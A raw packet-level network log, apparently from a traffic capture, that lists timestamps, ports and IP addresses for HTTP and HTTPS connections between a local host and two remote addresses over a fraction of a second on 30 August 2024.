Aug 30, 2024 06:17:06.099505901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099512100 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099533081 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099585056 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099594116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099601984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099611044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099620104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099628925 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099638939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099656105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099659920 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099672079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099679947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099695921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099699020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099708080 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099735975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099756956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099766970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099776030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099785089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099798918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099824905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099847078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099855900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099864006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099873066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099883080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099890947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099908113 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099920034 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099934101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099944115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099951029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099977016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099999905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100020885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100030899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100039959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100064993 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100085020 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100106955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100116014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100125074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100136042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100150108 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100174904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100177050 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100188017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100213051 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100234032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100255013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100265980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100274086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100282907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100292921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100301027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100301981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100322962 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100333929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100609064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100619078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100624084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100660086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100683928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100692987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100702047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100711107 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100719929 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100724936 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100737095 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100753069 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100754976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100780964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100789070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100797892 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100825071 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100825071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100855112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100879908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100888968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100897074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100914001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100924015 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100944996 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100965977 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.100966930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100976944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100986004 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.100995064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.101012945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.101037025 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.101059914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.101070881 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.101079941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.101088047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.101111889 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.101120949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.131793022 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.131808043 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.131876945 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.131886005 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.131923914 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.132234097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.132246017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.132253885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.132263899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.132273912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.132285118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.132311106 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.132311106 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.132318974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.132320881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.132503033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.132528067 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.132541895 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.132591963 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.132597923 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.132631063 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.132837057 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.132850885 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.132901907 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.132906914 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.132941008 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.133248091 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.133263111 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.133317947 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.133325100 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.133362055 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.133505106 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.133521080 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.133565903 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.133570910 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.133604050 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.133805037 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.133821011 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.133869886 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.133881092 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.133913040 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.134139061 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.134152889 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.134202003 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.134207964 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.134246111 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.134510994 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.134524107 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.134567022 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.134573936 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.134608984 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.169744015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.169807911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.169816971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.169827938 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.169831038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.169843912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.169847012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.169856071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.169878006 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.169924021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.169934034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.169943094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.169953108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.169971943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.169989109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170001984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170016050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170026064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170034885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170068026 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170068026 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170097113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170106888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170116901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170146942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170182943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170190096 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170192003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170201063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170211077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170233965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170243025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170269012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170269966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170269966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170384884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170394897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170403004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170411110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170419931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170430899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170439959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170448065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170448065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170449972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170473099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170485020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170485020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170519114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170614004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170624018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170633078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170641899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170651913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170660973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170665979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170670986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170681000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170687914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170687914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170691013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170708895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170738935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170831919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170840979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170849085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170856953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170866966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170876026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170886040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170892000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170895100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170903921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170934916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170934916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170934916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.170955896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170965910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170974970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.170984030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171009064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.171009064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.171039104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171047926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171056986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171066999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171078920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.171156883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.171156883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.171226025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171235085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171242952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171252012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171261072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171272039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171273947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.171281099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171289921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171304941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171317101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.171317101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.171317101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.171334028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.171335936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.171514988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174241066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174257994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174268007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174302101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174302101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174302101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174360037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174369097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174377918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174386978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174396038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174411058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174422979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174454927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174454927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174479961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174489021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174496889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174505949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174515963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174525023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174549103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174581051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174591064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174635887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174649000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174658060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174666882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174690962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174695969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174700022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174705982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174715042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174731016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174765110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174765110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174832106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174840927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174849987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174880028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174894094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174902916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174905062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174911976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174953938 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174953938 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.174978971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174988031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.174995899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175030947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.175040960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.175070047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175079107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175087929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175117970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.175133944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.175199032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175209045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175216913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175228119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175237894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175240040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.175246954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175256968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175271034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.175276995 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.175285101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175293922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.175298929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.175322056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.175322056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184047937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184057951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184067011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184099913 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184108973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184118986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184128046 CEST	80	49735	147.45.44.104	192.168.2.4
